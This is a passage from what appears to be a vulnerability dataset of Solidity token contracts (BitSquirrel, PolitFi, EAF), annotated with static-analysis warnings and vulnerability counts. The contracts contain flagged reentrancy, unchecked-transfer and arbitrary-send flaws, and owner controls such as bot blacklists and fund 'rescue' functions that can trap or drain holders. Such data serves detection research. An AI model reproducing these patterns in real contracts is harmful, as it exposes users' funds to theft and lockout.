}\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3b973c6): BitSquirrel.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3b973c6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4f9bd03\n\t\t// reentrancy-events | ID: 56e1859\n\t\t// reentrancy-eth | ID: ea799c7\n\t\t// arbitrary-send-eth | ID: 3b973c6\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 745399a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 745399a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c34642b): BitSquirrel.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c34642b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 226dd78): BitSquirrel.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 226dd78: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7e71fd2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7e71fd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 745399a\n\t\t// reentrancy-eth | ID: 7e71fd2\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 745399a\n\t\t// unused-return | ID: c34642b\n\t\t// reentrancy-eth | ID: 7e71fd2\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 745399a\n\t\t// unused-return | ID: 226dd78\n\t\t// reentrancy-eth | ID: 7e71fd2\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 745399a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7e71fd2\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10615.sol",
"size_bytes": 19780,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PolitFi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8012724): PolitFi._initialBuyTax should be constant \n\t// Recommendation for 8012724: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f28d2a7): PolitFi._initialSellTax should be constant \n\t// Recommendation for f28d2a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5633db): PolitFi._finalBuyTax should be constant \n\t// Recommendation for f5633db: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6ebc3e): PolitFi._finalSellTax should be constant \n\t// Recommendation for e6ebc3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1407a5): PolitFi._reduceBuyTaxAt should be constant \n\t// Recommendation for f1407a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c15966): PolitFi._reduceSellTaxAt should be constant \n\t// Recommendation for 2c15966: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67999aa): PolitFi._preventSwapBefore should be constant \n\t// Recommendation for 67999aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PolitFi Meta\";\n\n string private constant _symbol = unicode\"POLITFI\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c73183c): PolitFi._taxSwapThreshold should be constant \n\t// Recommendation for c73183c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 325cbd7): PolitFi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 325cbd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e1c5772): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e1c5772: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7cf887a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7cf887a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e1c5772\n\t\t// reentrancy-benign | ID: 7cf887a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e1c5772\n\t\t// reentrancy-benign | ID: 7cf887a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9c4bfa0): PolitFi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9c4bfa0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7cf887a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e1c5772\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f6fe01c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f6fe01c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 5d10862): PolitFi._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 5d10862: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: be690f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for be690f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: afacd47): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for afacd47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 5d10862\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: f6fe01c\n\t\t\t\t// reentrancy-eth | ID: be690f7\n\t\t\t\t// reentrancy-eth | ID: afacd47\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f6fe01c\n\t\t\t\t\t// reentrancy-eth | ID: be690f7\n\t\t\t\t\t// reentrancy-eth | ID: afacd47\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: afacd47\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: afacd47\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: f6fe01c\n\t\t\t\t// reentrancy-eth | ID: be690f7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f6fe01c\n\t\t\t\t\t// reentrancy-eth | ID: be690f7\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: be690f7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f6fe01c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: be690f7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: be690f7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f6fe01c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f6fe01c\n\t\t// reentrancy-events | ID: e1c5772\n\t\t// reentrancy-benign | ID: 7cf887a\n\t\t// reentrancy-eth | ID: be690f7\n\t\t// reentrancy-eth | ID: afacd47\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: dc73bf7): PolitFi.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for dc73bf7: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: dc73bf7\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 72d2a33): PolitFi.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for 72d2a33: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 72d2a33\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e0ce892): PolitFi.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for e0ce892: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: e0ce892\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a75f619): PolitFi.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for a75f619: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: a75f619\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 11a1be9): PolitFi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 11a1be9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f6fe01c\n\t\t// reentrancy-events | ID: e1c5772\n\t\t// reentrancy-eth | ID: be690f7\n\t\t// reentrancy-eth | ID: afacd47\n\t\t// arbitrary-send-eth | ID: 11a1be9\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 33dc6b9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 33dc6b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cf4bf57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cf4bf57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1fff182): PolitFi.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1fff182: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a82d44f): PolitFi.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a82d44f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0d77e4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0d77e4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 33dc6b9\n\t\t// reentrancy-benign | ID: cf4bf57\n\t\t// reentrancy-eth | ID: 0d77e4f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 33dc6b9\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 33dc6b9\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: cf4bf57\n\t\t// unused-return | ID: a82d44f\n\t\t// reentrancy-eth | ID: 0d77e4f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: cf4bf57\n\t\t// unused-return | ID: 1fff182\n\t\t// reentrancy-eth | ID: 0d77e4f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: cf4bf57\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0d77e4f\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: cf4bf57\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10616.sol",
"size_bytes": 23689,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 19f5599): EAF.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 19f5599: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e09fc34): EAF.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for e09fc34: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 525d22a): EAF.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 525d22a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 27fc07f): EAF.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 27fc07f: Consider ordering multiplication before division.\ncontract EAF is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Euclid AI Farm\";\n\n string private constant _symbol = unicode\"EAF\";\n\n\t// divide-before-multiply | ID: 27fc07f\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: e09fc34\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 05e4fd5): EAF._taxSwapThreshold should be constant \n\t// Recommendation for 05e4fd5: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 525d22a\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5bffb29): EAF._maxTaxSwap should be constant \n\t// Recommendation for 5bffb29: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 19f5599\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _tApprovals;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 619c5d3): EAF._taxWallet should be immutable \n\t// Recommendation for 619c5d3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b185e5): EAF._initialBuyTax should be constant \n\t// Recommendation for 0b185e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a17f64): EAF._initialSellTax should be 